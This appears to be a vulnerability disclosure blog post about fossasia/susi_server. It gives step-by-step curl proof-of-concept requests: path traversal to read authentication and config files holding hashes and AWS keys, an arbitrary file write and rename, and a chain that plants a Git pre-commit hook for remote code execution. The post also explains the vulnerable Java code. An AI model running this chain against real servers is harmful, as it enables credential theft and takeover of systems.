From Arbitrary File Write to RCE Using Git Hooks in fossasia/susi_server
Introduction
Some time ago I thought that it would be a fun idea to create a CodeQL query that detects arbitrary (=user-controlled) file reads and writes in Java applications.
The query is sadly not yet production-ready but it already found some results.
In this post I’m going to show you different vulnerabilities that I found in fossasia/susi_server.
susi_server
is the backend server for SUSI.AI:
SUSI.AI is an intelligent Open Source personal assistant. It is capable of chat and voice interaction by using APIs to perform actions such as music playback, making to-do lists, setting alarms, streaming podcasts, playing audiobooks, and providing weather, traffic, and other real-time information.
Here’s an outline of what I’m going to show:
- Arbitrary file read
- Arbitrary
.txt
file write - Arbitrary file rename
- A combination of 2. and 3. for an arbitrary file write
- RCE in
susi_server
using Git hooks
(susi_server
contains multiple arbitrary file reads, writes, renames, and directory listings and I can’t cover all vulnerabilities. This lgtm.com query shows all instances where user-controlled values are used in paths.)
Video Transcript/Description:
The execution of the attack commands is shown in rapid succession, ending with a calculator that pops up. A detailed explanation can be found here.
Setup Instructions
Requirements
- Java 11
- Linux (Mac might also work)
General Setup
git clone https://github.com/fossasia/susi_server
cd susi_server
git checkout d27ed0f5dc6ec4a097f02e6db3794b3896205bc5
./gradlew build -x test
mkdir data/image_uploads/
bin/start.sh
# Should now be running here: http://localhost:4000
Editing the Configuration
We have to do one small edit in conf/config.properties
to match the configuration of SUSI.AI, which is the official deployed version of susi_server
.
Namely, we have to change skill_repo.pull_enable = false
to skill_repo.pull_enable = true
.
Creating an Account
It’s rather complicated to (locally) create an account for susi_server
and not easily possible without messing with the source code.
I’ve messed with the source and created the account local@local.de
with the wonderful password 123asdA!
But it’s far easier to just execute these two commands which will recreate the above account:
echo '{"passwd_login:local@local.de": {
"salt": "DLLACzvJzjzsKbv5KX0h",
"id": "email:local@local.de",
"passwordHash": "7RSabEzhkMpOfpVsiQrEK3kzDCABkzYZ9P2rwqwy9cw=",
"activated": true
}}' > data/settings/authentication.json
echo '{"email:local@local.de": {
"permissions": {},
"userRole": "user"
}}' > data/settings/authorization.json
Getting an Access Token
For some of the exploits we have to be authenticated.
The official instance of susi_server
allows anyone to register, so practically authentication is no barrier.
Executing curl 'http://localhost:4000/aaa/login.json?login=local@local.de&type=access-token&password=123asdA!'
will give us an access token.
Arbitrary File Read
This issue allows any unauthenticated person to read arbitrary files. Let’s say we have “forgotten” the password of the account we just created.
How can we get it back?
Easy, curl http://localhost:4000/cms/getImage.png?image=../settings/authentication.json
will give us:
{"passwd_login:local@local.de": {
"salt": "DLLACzvJzjzsKbv5KX0h",
"id": "email:local@local.de",
"passwordHash": "7RSabEzhkMpOfpVsiQrEK3kzDCABkzYZ9P2rwqwy9cw=",
"activated": true
}}
and curl http://localhost:4000/cms/getImage.png?image=../settings/authorization.json
will tell us, whether this is an admin or a normal user account:
{"email:local@local.de": {
"permissions": {},
"userRole": "user"
}}
One could then use hashcat
to break the hash.
Running curl http://localhost:4000/cms/getImage.png?image=../../conf/config.properties
would get us AWS keys or in certain cases the password for a Github acccount.
Any file that the application can read, can also be read by us!
Cause
GetImageServlet.java
directly derives image_path
from the GET
parameter image
and then uses it to create a new File
whose content will then be transmitted back to us.
String image_path = post.get("image","");
[...]
imageFile = new File(DAO.data_dir + File.separator + "image_uploads" + File.separator + image_path);
Arbitrary (.txt) File Write
Running
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'model=general' \
-F 'group=Knowledge' -F 'language=en' -F 'skill=whois' -F 'content=OWNED' \
-F 'image=' -F 'image_name=owned' 'http://localhost:4000/cms/createSkill.json'
will successfully create the file susi_skill_data/models/general/Knowledge/en/whois.txt
(susi_skill_data
is a sibling directory of susi_server
) with the content OWNED
.
Cause
CreateSkillService.java
directly derives skill_name
from the GET
parameter skill
. This is then used to retrieve a skill
file to which user-controlled content
is written.
String skill_name = req.getParameter("skill");
File skill = DAO.getSkillFileInLanguage(language, skill_name, false);
[...]
String content = req.getParameter("content");
[...]
try (FileWriter Skillfile = new FileWriter(skill)) {
Skillfile.write(content);
Arbitrary File Write via Arbitrary Rename
Running
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \
-F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \
-F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \
-F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=hacked' \
-F 'content=ANYTHING' -F 'new_image_name=PATH_TO_SOME_FILE' -F \
'old_image_name=PATH_TO_SOME_FILE' 'http://localhost:4000/cms/modifySkill.json'
will rename the skill from whois
(-F 'OldSkill=whois'
) to hacked
(-F 'NewSkill=hacked'
).
But more importantly using old_image_name
and new_image_name
allows us to rename an arbitrary file!
So for an arbitrary write we just have to use the arbitrary .txt
write and then rename the .txt
file to whatever we want!
Cause
ModifySkillService.java
directly derives new_image_name
and old_image_name
from a GET
parameter.
The resulting (user-controlled) paths are then used in old_path.toFile().renameTo(new_path.toFile())
which makes this an arbitrary rename.
String new_image_name = call.getParameter("new_image_name"); // Line 273
Path new_path = Paths.get(modified_language + File.separator + "images/" + new_image_name); // 275
[...]
String old_image_name = call.getParameter("old_image_name"); // 328
Path old_path = Paths.get(language + File.separator + "images/" + old_image_name);
if (!Files.exists(new_path)) {
old_path.toFile().renameTo(new_path.toFile());
http://localhost:4000/cms/getImage.png?image=../settings/authentication.json
Remote Code Execution (Using Git Hooks)
(If you know an easier way, let me know!)
So how can we get RCE via arbitrary write?
I did not know any easier way, so I chose this way:
susi_server
has a Git repository for its skill data, so that all modifications to the skills are commited to Git.
It uses JGit to periodically (every 60 seconds) perform the commits, so my idea was to (ab)use Git pre commit hooks to execute arbitrary code!
First failed attempt
Plan of action:
- Write a
.txt
file with the content#!/bin/sh\nexec xcalc
. - Rename the
.txt
so that it ends up assusi_skill_data/.git/hooks/pre-commit
. - The rename causes a commit and our pre-commit hook gets triggered.
After running the necessary curl
commands and after the commit has happened a calculator should have popped up.
But it didn’t.
Why?
Both Git and JGit require the pre-commit
to be executable and our file isn’t.
Second failed attempt
Luckily, Git by default includes sample hooks that are executable!
So the new plan of action looks like this:
- Rename
susi_skill_data/.git/hooks/pre-commit.sample
to a.txt
file that we can write to. - Write
#!/bin/sh\nexec xcalc
to the.txt
file. - Rename the
.txt
file tosusi_skill_data/.git/hooks/pre-commit
. - The rename causes a commit and the
pre-commit.sample
by default has executable permissions!
We do this by running two commands:
- Run
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=whois' \ -F 'content=ANYTHING' -F 'new_image_name=../pre-commit.txt' \ -F 'old_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit.sample' \ 'http://localhost:4000/cms/modifySkill.json'
This will replace the content of
whois.txt
(which we created earlier in the arbitrary.txt
file write section) withANYTHING
and movepre-commit.sample
(from the hooks directory) topre-commit.txt
which is in the same directory aswhois.txt
. - Run
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=pre-commit' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=pre-commit' \ -F $'content=#!/bin/sh\nexec xcalc' \ -F 'new_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit' \ -F 'old_image_name=../pre-commit.txt' 'http://localhost:4000/cms/modifySkill.json'
This will replace the content of
pre-commit.txt
with
#!/bin/sh
exec xcalc
and movepre-commit.txt
(from the skills directory) topre-commit
(in the hooks directory).
Still, no calculator :(
Why?
Only Git includes sample hooks while JGit doesn’t.
Working attempt
So we need another source for an executable file which we quickly find in susi_server/src/org/json/JSONException.java
. Here we are assuming that the source code of susi_server
is available. If it isn’t (because we’re running a prebuilt version) we will have to find another executable file.
We change the first curl command:
- Run
`curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=whois' \ -F 'content=ANYTHING' -F 'new_image_name=../pre-commit.txt' \ -F 'old_image_name=../../../../../../susi_server/src/org/json/JSONException.java' \ 'http://localhost:4000/cms/modifySkill.json'
(
-F 'old_image_name=../../../../../../
susi_server/src/org/json/JSONException.java
` changed) - Run
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=pre-commit' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=pre-commit' \ -F $'content=#!/bin/sh\nexec xcalc' \ -F 'new_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit' \ -F 'old_image_name=../pre-commit.txt' 'http://localhost:4000/cms/modifySkill.json'
Et voila! After about 60 seconds a calc pops up.
POC-Video - Detailed Explanation
Video Transcript - Detailed Explanation:
- In a terminal
bin/start.sh
is executed inside thesusi_server
folder to start the server. - In a terminal the following command is executed:
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'model=general' \ -F 'group=Knowledge' -F 'language=en' -F 'skill=whois' -F 'content=OWNED' \ -F 'image=' -F 'image_name=owned' 'http://localhost:4000/cms/createSkill.json'
This creates the file
susi_skill_data/models/general/Knowledge/en/whois.txt
(susi_skill_data
is a sibling directory ofsusi_server
) with the contentOWNED
. - A file manager is opened which shows the existence of the
susi_skill_data/models/general/Knowledge/en/whois.txt
file and also thesusi_skill_data/models/general/Knowledge/en/images/owned
file. - In a terminal the following command is executed:
`curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=whois' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=whois' \ -F 'content=ANYTHING' -F 'new_image_name=../pre-commit.txt' \ -F 'old_image_name=../../../../../../susi_server/src/org/json/JSONException.java' \ 'http://localhost:4000/cms/modifySkill.json'
This will change the content of the
whois
skill file fromOWNED
toANYTHING
. The filesusi_server/src/org/json/JSONException.java
(this file is executable) is renamed tosusi_skill_data/models/general/Knowledge/en/pre-commit.txt
. - In a terminal the following command is executed:
curl -X POST -F 'access_token=[YOUR_ACCESS_TOKEN]' -F 'imageChanged=false' \ -F 'image_name_changed=true' -F 'OldModel=general' -F 'OldGroup=Knowledge' \ -F 'OldLanguage=en' -F 'OldSkill=pre-commit' -F 'NewModel=general' \ -F 'NewGroup=Knowledge' -F 'NewLanguage=en' -F 'NewSkill=pre-commit' \ -F $'content=#!/bin/sh\nexec xcalc' \ -F 'new_image_name=../../../../../../susi_skill_data/.git/hooks/pre-commit' \ -F 'old_image_name=../pre-commit.txt' 'http://localhost:4000/cms/modifySkill.json'
This will change the content of the
pre-commit
skill file to#!/bin/sh\nexec xcalc
. The skill filesusi_skill_data/models/general/Knowledge/en/pre-commit.txt
is then moved tosusi_skill_data/.git/hooks/pre-commit
. - A file manager is opened which shows the existence of the
susi_skill_data/.git/hooks/pre-commit
file. - The changes are now automatically commited by
susi_server
. This triggers the malicious pre-commit hook we just created. A calculator that pops up can be seen.